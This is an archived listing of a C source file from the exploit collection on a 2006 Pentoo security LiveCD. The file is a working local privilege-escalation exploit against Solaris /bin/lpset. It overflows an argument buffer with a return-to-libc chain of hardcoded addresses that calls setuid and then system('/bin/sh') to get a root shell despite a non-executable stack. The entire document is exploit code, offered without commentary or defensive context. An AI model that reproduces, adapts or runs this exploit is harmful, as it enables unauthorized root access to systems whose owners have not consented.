home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lpset-noexec.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  966b  |  47 lines

  1. #define BASE 0xdff40000
  2. #define STACK 0x8047e30
  3. #define BUFSIZE 36     
  4.  
  5. #define SYSTEM (BASE + 0x5b328)
  6. #define SCANF  (BASE + 0x5ae80)
  7. #define SETUID (BASE + 0x30873)
  8. #define PERCD  (BASE + 0x83754)
  9. #define BINSH  (BASE + 0x83654)
  10. #define POP3   (SYSTEM + 610)  
  11. #define POP2   (SYSTEM + 611)  
  12. #define POP1   (SYSTEM + 612)  
  13.  
  14. int
  15. main()
  16. {     
  17.     unsigned char expbuf[1024];
  18.     char *env[1]; 
  19.     int *p, i;    
  20.     
  21.     memset(expbuf, 'a', BUFSIZE);
  22.     p = (int *)(expbuf + BUFSIZE);
  23.     
  24.     *p++ = STACK;
  25.     *p++ = SCANF + 1;
  26.     *p++ = STACK + 6 * 4;
  27.     *p++ = POP2; 
  28.     *p++ = PERCD;
  29.     *p++ = STACK + 9 * 4;
  30.     
  31.     *p++ = STACK + 10 * 4;
  32.     *p++ = SETUID; 
  33.     *p++ = POP1;   
  34.     *p++ = 0x33333333;
  35.     *p++ = STACK + 15 * 4;
  36.     
  37.     *p++ = SYSTEM;
  38.     *p++ = 0x33333333;
  39.     *p++ = BINSH;     
  40.     *p = 0;
  41.     
  42.     env[0] = 0;
  43.     execle("/bin/lpset", "/bin/lpset", "-n", "fns", "-r", expbuf, "123", 0,
  44.            env);       
  45.     return 0;
  46. }
  47.